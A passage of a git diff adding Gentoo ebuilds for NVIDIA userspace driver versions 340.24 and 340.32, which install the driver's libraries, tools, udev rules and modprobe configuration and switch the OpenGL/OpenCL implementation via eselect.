+ doman "${NV_MAN}/nvidia-cuda-mps-control.1.gz"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ fi
+
+ # Helper Apps
+ exeinto /opt/bin/
+ if use X; then
+ doexe ${NV_OBJ}/nvidia-xconfig
+ fi
+
+ if use kernel_linux ; then
+ doexe ${NV_OBJ}/nvidia-cuda-mps-control
+ doexe ${NV_OBJ}/nvidia-cuda-mps-server
+ doexe ${NV_OBJ}/nvidia-debugdump
+ doexe ${NV_OBJ}/nvidia-persistenced
+ doexe ${NV_OBJ}/nvidia-smi
+
+ # install nvidia-modprobe setuid and symlink in /usr/bin (bug #505092)
+ doexe ${NV_OBJ}/nvidia-modprobe
+ fowners root:video /opt/bin/nvidia-modprobe
+ fperms 4710 /opt/bin/nvidia-modprobe
+ dosym /{opt,usr}/bin/nvidia-modprobe
+
+ doman nvidia-cuda-mps-control.1.gz
+ doman nvidia-modprobe.1.gz
+ doman nvidia-persistenced.1.gz
+ newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+ fi
+
+ exeinto /usr/bin/
+ doexe ${NV_OBJ}/nvidia-bug-report.sh
+
+ if has_multilib_profile && use multilib ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+
+ readme.gentoo_create_doc
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+ local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+ local libdir=${NV_OBJ}
+
+ if use kernel_linux && has_multilib_profile && \
+ [[ ${ABI} == "x86" ]] ; then
+ libdir=${NV_OBJ}/32
+ fi
+
+ if use X; then
+ # The GLX libraries
+ donvidia ${libdir}/libEGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libGLESv1_CM.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libnvidia-eglcore.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-glsi.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-ifr.so ${NV_SOVER}
+ if use kernel_FreeBSD; then
+ donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER}
+ else
+ donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER}
+ fi
+
+ # VDPAU
+ donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+
+ # GLES v2 libraries
+ insinto ${GL_ROOT}
+ doexe ${libdir}/libGLESv2.so.${PV}
+ dosym libGLESv2.so.${PV} ${GL_ROOT}/libGLESv2.so.2
+ dosym libGLESv2.so.2 ${GL_ROOT}/libGLESv2.so
+ fi
+
+ # NVIDIA monitoring library
+ if use kernel_linux ; then
+ donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+ fi
+
+ # CUDA & OpenCL
+ if use kernel_linux; then
+ donvidia ${libdir}/libcuda.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+ donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+ donvidia ${libdir}/libnvidia-opencl.so ${NV_SOVER}
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+
+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+ "${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+ readme.gentoo_print_elog
+
+ if ! use X; then
+ elog "You have elected to not install the X.org driver. Along with"
+ elog "this the OpenGL libraries and VDPAU libraries were not"
+ elog "installed. Additionally, once the driver is loaded your card"
+ elog "and fan will run at max speed which may not be desirable."
+ elog "Use the 'nvidia-smi' init script to have your card and fan"
+ elog "speed scale appropriately."
+ elog
+ fi
+}
+
+pkg_prerm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-340.24.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-340.24.ebuild
new file mode 100644
index 00000000..559555b4
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-340.24.ebuild
@@ -0,0 +1,353 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user udev
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="GPL-2 NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X uvm"
+RESTRICT="bindist mirror strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ x-multilib? (
+ || (
+ (
+ x11-libs/libX11[abi_x86_32]
+ x11-libs/libXext[abi_x86_32]
+ )
+ app-emulation/emul-linux-x86-xlibs
+ )
+ )
+ multilib? ( app-emulation/emul-linux-x86-baselibs )
+ X? (
+ >=app-admin/eselect-opengl-1.0.9
+ )"
+DEPEND="${COMMON}"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}
+ X? ( x11-libs/libXvMC )
+ acpi? ( sys-power/acpid )
+ tools? ( media-video/nvidia-settings )"
+PDEPEND="X? (
+ <x11-base/xorg-server-1.16.99
+ >=x11-libs/libvdpau-0.3-r1
+ )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S=${WORKDIR}/
+
+pkg_pretend() {
+ if use amd64 && has_multilib_profile && \
+ [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default ABI"
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_DOC="${S}/doc"
+ NV_OBJ="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}"
+ NV_OBJ="${S}"
+ NV_SRC="${S}/kernel"
+ NV_MAN="${S}"
+ NV_X11="${S}"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() { :; }
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+ # Full path to library minus SOVER
+ MY_LIB="$1"
+
+ # SOVER to use
+ MY_SOVER="$2"
+
+ # Where to install
+ MY_DEST="$3"
+
+ if [[ -z "${MY_DEST}" ]]; then
+ MY_DEST="/usr/$(get_libdir)"
+ action="dolib.so"
+ else
+ exeinto ${MY_DEST}
+ action="doexe"
+ fi
+
+ # Get just the library name
+ libname=$(basename $1)
+
+ # Install the library with the correct SOVER
+ ${action} ${MY_LIB}.${MY_SOVER} || \
+ die "failed to install ${libname}"
+
+ # If SOVER wasn't 1, then we need to create a .1 symlink
+ if [[ "${MY_SOVER}" != "1" ]]; then
+ dosym ${libname}.${MY_SOVER} \
+ ${MY_DEST}/${libname}.1 || \
+ die "failed to create ${libname} symlink"
+ fi
+
+ # Always create the symlink from the raw lib to the .1
+ dosym ${libname}.1 \
+ ${MY_DEST}/${libname} || \
+ die "failed to create ${libname} symlink"
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_preinst, see bug #491414
+ insinto /etc/modprobe.d
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+ use uvm && doins "${FILESDIR}"/nvidia-uvm.conf
+
+ # Ensures that our device nodes are created when not using X
+ exeinto "$(get_udevdir)"
+ doexe "${FILESDIR}"/nvidia-udev.sh
+ udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+ # NVIDIA framebuffer capture library
+ donvidia ${NV_OBJ}/libnvidia-fbc.so ${NV_SOVER}
+
+ # NVIDIA video encode/decode <-> CUDA
+ if use kernel_linux; then
+ donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+ donvidia ${NV_OBJ}/libnvidia-encode.so ${NV_SOVER}
+ fi
+
+ if use X; then
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11}/nvidia_drv.so
+
+ # Xorg GLX driver
+ donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions
+ fi
+
+ # OpenCL ICD for NVIDIA
+ if use kernel_linux; then
+ insinto /etc/OpenCL/vendors
+ doins ${NV_OBJ}/nvidia.icd
+ fi
+
+ # Documentation
+ dohtml ${NV_DOC}/html/*
+ if use kernel_FreeBSD; then
+ dodoc "${NV_DOC}/README"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+ doman "${NV_MAN}/nvidia-smi.1.gz"
+ doman "${NV_MAN}/nvidia-cuda-mps-control.1.gz"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ fi
+
+ # Helper Apps
+ exeinto /opt/bin/
+ if use X; then
+ doexe ${NV_OBJ}/nvidia-xconfig
+ fi
+
+ if use kernel_linux ; then
+ doexe ${NV_OBJ}/nvidia-cuda-mps-control
+ doexe ${NV_OBJ}/nvidia-cuda-mps-server
+ doexe ${NV_OBJ}/nvidia-debugdump
+ doexe ${NV_OBJ}/nvidia-persistenced
+ doexe ${NV_OBJ}/nvidia-smi
+
+ # install nvidia-modprobe setuid and symlink in /usr/bin (bug #505092)
+ doexe ${NV_OBJ}/nvidia-modprobe
+ fowners root:video /opt/bin/nvidia-modprobe
+ fperms 4710 /opt/bin/nvidia-modprobe
+ dosym /{opt,usr}/bin/nvidia-modprobe
+
+ doman nvidia-cuda-mps-control.1.gz
+ doman nvidia-modprobe.1.gz
+ doman nvidia-persistenced.1.gz
+ newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+ fi
+
+ exeinto /usr/bin/
+ doexe ${NV_OBJ}/nvidia-bug-report.sh
+
+ if has_multilib_profile && use multilib ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+
+ readme.gentoo_create_doc
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+ local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+ local libdir=${NV_OBJ}
+
+ if use kernel_linux && has_multilib_profile && \
+ [[ ${ABI} == "x86" ]] ; then
+ libdir=${NV_OBJ}/32
+ fi
+
+ if use X; then
+ # The GLX libraries
+ donvidia ${libdir}/libEGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libGLESv1_CM.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libnvidia-eglcore.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-glsi.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-ifr.so ${NV_SOVER}
+ if use kernel_FreeBSD; then
+ donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER}
+ else
+ donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER}
+ fi
+
+ # VDPAU
+ donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+
+ # GLES v2 libraries
+ insinto ${GL_ROOT}
+ doexe ${libdir}/libGLESv2.so.${PV}
+ dosym libGLESv2.so.${PV} ${GL_ROOT}/libGLESv2.so.2
+ dosym libGLESv2.so.2 ${GL_ROOT}/libGLESv2.so
+ fi
+
+ # NVIDIA monitoring library
+ if use kernel_linux ; then
+ donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+ fi
+
+ # CUDA & OpenCL
+ if use kernel_linux; then
+ donvidia ${libdir}/libcuda.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+ donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+ donvidia ${libdir}/libnvidia-opencl.so ${NV_SOVER}
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+
+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+ "${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+ readme.gentoo_print_elog
+
+ if ! use X; then
+ elog "You have elected to not install the X.org driver. Along with"
+ elog "this the OpenGL libraries and VDPAU libraries were not"
+ elog "installed. Additionally, once the driver is loaded your card"
+ elog "and fan will run at max speed which may not be desirable."
+ elog "Use the 'nvidia-smi' init script to have your card and fan"
+ elog "speed scale appropriately."
+ elog
+ fi
+}
+
+pkg_prerm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-340.32.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-340.32.ebuild
new file mode 100644
index 00000000..559555b4
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-340.32.ebuild
@@ -0,0 +1,353 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user udev
+
+NV_URI="http://us.download.nvidia.com/XFree86/"
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="
+ amd64-fbsd? ( ${NV_URI}FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ amd64? ( ${NV_URI}Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ x86-fbsd? ( ${NV_URI}FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )
+ x86? ( ${NV_URI}Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+"
+
+LICENSE="GPL-2 NVIDIA-r1"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X uvm"
+RESTRICT="bindist mirror strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+ kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+ x-multilib? (
+ || (
+ (
+ x11-libs/libX11[abi_x86_32]
+ x11-libs/libXext[abi_x86_32]
+ )
+ app-emulation/emul-linux-x86-xlibs
+ )
+ )
+ multilib? ( app-emulation/emul-linux-x86-baselibs )
+ X? (
+ >=app-admin/eselect-opengl-1.0.9
+ )"
+DEPEND="${COMMON}"
+# Note: do not add !>nvidia-userspace-ver or !<nvidia-userspace-ver
+# because it would cause pkg_postrm to set the wrong opengl implementation
+RDEPEND="${COMMON}
+ X? ( x11-libs/libXvMC )
+ acpi? ( sys-power/acpid )
+ tools? ( media-video/nvidia-settings )"
+PDEPEND="X? (
+ <x11-base/xorg-server-1.16.99
+ >=x11-libs/libvdpau-0.3-r1
+ )"
+
+REQUIRED_USE="tools? ( X )"
+QA_PREBUILT="opt/* usr/lib*"
+S=${WORKDIR}/
+
+pkg_pretend() {
+ if use amd64 && has_multilib_profile && \
+ [ "${DEFAULT_ABI}" != "amd64" ]; then
+ eerror "This ebuild doesn't currently support changing your default ABI"
+ die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+ fi
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_DOC="${S}/doc"
+ NV_OBJ="${S}/obj"
+ NV_SRC="${S}/src"
+ NV_MAN="${S}/x11/man"
+ NV_X11="${S}/obj"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_DOC="${S}"
+ NV_OBJ="${S}"
+ NV_SRC="${S}/kernel"
+ NV_MAN="${S}"
+ NV_X11="${S}"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() { :; }
+
+# Install nvidia library:
+# the first parameter is the library to install
+# the second parameter is the provided soversion
+# the third parameter is the target directory if its not /usr/lib
+donvidia() {
+ # Full path to library minus SOVER
+ MY_LIB="$1"
+
+ # SOVER to use
+ MY_SOVER="$2"
+
+ # Where to install
+ MY_DEST="$3"
+
+ if [[ -z "${MY_DEST}" ]]; then
+ MY_DEST="/usr/$(get_libdir)"
+ action="dolib.so"
+ else
+ exeinto ${MY_DEST}
+ action="doexe"
+ fi
+
+ # Get just the library name
+ libname=$(basename $1)
+
+ # Install the library with the correct SOVER
+ ${action} ${MY_LIB}.${MY_SOVER} || \
+ die "failed to install ${libname}"
+
+ # If SOVER wasn't 1, then we need to create a .1 symlink
+ if [[ "${MY_SOVER}" != "1" ]]; then
+ dosym ${libname}.${MY_SOVER} \
+ ${MY_DEST}/${libname}.1 || \
+ die "failed to create ${libname} symlink"
+ fi
+
+ # Always create the symlink from the raw lib to the .1
+ dosym ${libname}.1 \
+ ${MY_DEST}/${libname} || \
+ die "failed to create ${libname} symlink"
+}
+
+src_install() {
+ if use kernel_linux; then
+ # Add the aliases
+ # This file is tweaked with the appropriate video group in
+ # pkg_preinst, see bug #491414
+ insinto /etc/modprobe.d
+ newins "${FILESDIR}"/nvidia-169.07 nvidia.conf
+ use uvm && doins "${FILESDIR}"/nvidia-uvm.conf
+
+ # Ensures that our device nodes are created when not using X
+ exeinto "$(get_udevdir)"
+ doexe "${FILESDIR}"/nvidia-udev.sh
+ udev_newrules "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld"
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko"
+ fi
+
+ # NVIDIA kernel <-> userspace driver config lib
+ donvidia ${NV_OBJ}/libnvidia-cfg.so ${NV_SOVER}
+
+ # NVIDIA framebuffer capture library
+ donvidia ${NV_OBJ}/libnvidia-fbc.so ${NV_SOVER}
+
+ # NVIDIA video encode/decode <-> CUDA
+ if use kernel_linux; then
+ donvidia ${NV_OBJ}/libnvcuvid.so ${NV_SOVER}
+ donvidia ${NV_OBJ}/libnvidia-encode.so ${NV_SOVER}
+ fi
+
+ if use X; then
+ # Xorg DDX driver
+ insinto /usr/$(get_libdir)/xorg/modules/drivers
+ doins ${NV_X11}/nvidia_drv.so
+
+ # Xorg GLX driver
+ donvidia ${NV_X11}/libglx.so ${NV_SOVER} \
+ /usr/$(get_libdir)/opengl/nvidia/extensions
+ fi
+
+ # OpenCL ICD for NVIDIA
+ if use kernel_linux; then
+ insinto /etc/OpenCL/vendors
+ doins ${NV_OBJ}/nvidia.icd
+ fi
+
+ # Documentation
+ dohtml ${NV_DOC}/html/*
+ if use kernel_FreeBSD; then
+ dodoc "${NV_DOC}/README"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1"
+ else
+ # Docs
+ newdoc "${NV_DOC}/README.txt" README
+ dodoc "${NV_DOC}/NVIDIA_Changelog"
+ doman "${NV_MAN}/nvidia-smi.1.gz"
+ doman "${NV_MAN}/nvidia-cuda-mps-control.1.gz"
+ use X && doman "${NV_MAN}/nvidia-xconfig.1.gz"
+ fi
+
+ # Helper Apps
+ exeinto /opt/bin/
+ if use X; then
+ doexe ${NV_OBJ}/nvidia-xconfig
+ fi
+
+ if use kernel_linux ; then
+ doexe ${NV_OBJ}/nvidia-cuda-mps-control
+ doexe ${NV_OBJ}/nvidia-cuda-mps-server
+ doexe ${NV_OBJ}/nvidia-debugdump
+ doexe ${NV_OBJ}/nvidia-persistenced
+ doexe ${NV_OBJ}/nvidia-smi
+
+ # install nvidia-modprobe setuid and symlink in /usr/bin (bug #505092)
+ doexe ${NV_OBJ}/nvidia-modprobe
+ fowners root:video /opt/bin/nvidia-modprobe
+ fperms 4710 /opt/bin/nvidia-modprobe
+ dosym /{opt,usr}/bin/nvidia-modprobe
+
+ doman nvidia-cuda-mps-control.1.gz
+ doman nvidia-modprobe.1.gz
+ doman nvidia-persistenced.1.gz
+ newinitd "${FILESDIR}/nvidia-smi.init" nvidia-smi
+ fi
+
+ exeinto /usr/bin/
+ doexe ${NV_OBJ}/nvidia-bug-report.sh
+
+ if has_multilib_profile && use multilib ; then
+ local OABI=${ABI}
+ for ABI in $(get_install_abis) ; do
+ src_install-libs
+ done
+ ABI=${OABI}
+ unset OABI
+ else
+ src_install-libs
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+
+ readme.gentoo_create_doc
+}
+
+src_install-libs() {
+ local inslibdir=$(get_libdir)
+ local GL_ROOT="/usr/$(get_libdir)/opengl/nvidia/lib"
+ local CL_ROOT="/usr/$(get_libdir)/OpenCL/vendors/nvidia"
+ local libdir=${NV_OBJ}
+
+ if use kernel_linux && has_multilib_profile && \
+ [[ ${ABI} == "x86" ]] ; then
+ libdir=${NV_OBJ}/32
+ fi
+
+ if use X; then
+ # The GLX libraries
+ donvidia ${libdir}/libEGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libGL.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libGLESv1_CM.so ${NV_SOVER} ${GL_ROOT}
+ donvidia ${libdir}/libnvidia-eglcore.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-glcore.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-glsi.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-ifr.so ${NV_SOVER}
+ if use kernel_FreeBSD; then
+ donvidia ${libdir}/libnvidia-tls.so ${NV_SOVER}
+ else
+ donvidia ${libdir}/tls/libnvidia-tls.so ${NV_SOVER}
+ fi
+
+ # VDPAU
+ donvidia ${libdir}/libvdpau_nvidia.so ${NV_SOVER}
+
+ # GLES v2 libraries
+ insinto ${GL_ROOT}
+ doexe ${libdir}/libGLESv2.so.${PV}
+ dosym libGLESv2.so.${PV} ${GL_ROOT}/libGLESv2.so.2
+ dosym libGLESv2.so.2 ${GL_ROOT}/libGLESv2.so
+ fi
+
+ # NVIDIA monitoring library
+ if use kernel_linux ; then
+ donvidia ${libdir}/libnvidia-ml.so ${NV_SOVER}
+ fi
+
+ # CUDA & OpenCL
+ if use kernel_linux; then
+ donvidia ${libdir}/libcuda.so ${NV_SOVER}
+ donvidia ${libdir}/libnvidia-compiler.so ${NV_SOVER}
+ donvidia ${libdir}/libOpenCL.so 1.0.0 ${CL_ROOT}
+ donvidia ${libdir}/libnvidia-opencl.so ${NV_SOVER}
+ fi
+}
+
+pkg_preinst() {
+ # Clean the dynamic libGL stuff's home to ensure
+ # we dont have stale libs floating around
+ if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+ rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+ fi
+ # Make sure we nuke the old nvidia-glx's env.d file
+ if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+ rm -f "${ROOT}"/etc/env.d/09nvidia
+ fi
+
+ local videogroup="$(egetent group video | cut -d ':' -f 3)"
+ if [ -n "${videogroup}" ]; then
+ sed -i -e "s:PACKAGE:${PF}:g" \
+ -e "s:VIDEOGID:${videogroup}:" "${ROOT}"/etc/modprobe.d/nvidia.conf
+ else
+ eerror "Failed to determine the video group gid."
+ die "Failed to determine the video group gid."
+ fi
+}
+
+pkg_postinst() {
+ # Switch to the nvidia implementation
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+ "${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+ readme.gentoo_print_elog
+
+ if ! use X; then
+ elog "You have elected to not install the X.org driver. Along with"
+ elog "this the OpenGL libraries and VDPAU libraries were not"
+ elog "installed. Additionally, once the driver is loaded your card"
+ elog "and fan will run at max speed which may not be desirable."
+ elog "Use the 'nvidia-smi' init script to have your card and fan"
+ elog "speed scale appropriately."
+ elog
+ fi
+}
+
+pkg_prerm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
+
+pkg_postrm() {
+ use X && "${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/xf86-video-ati/Manifest b/x11-drivers/xf86-video-ati/Manifest
index cb4826b0..27ec58ca 100644
--- a/x11-drivers/xf86-video-ati/Manifest
+++ b/x11-drivers/xf86-video-ati/Manifest
@@ -1,13 +1,5 @@
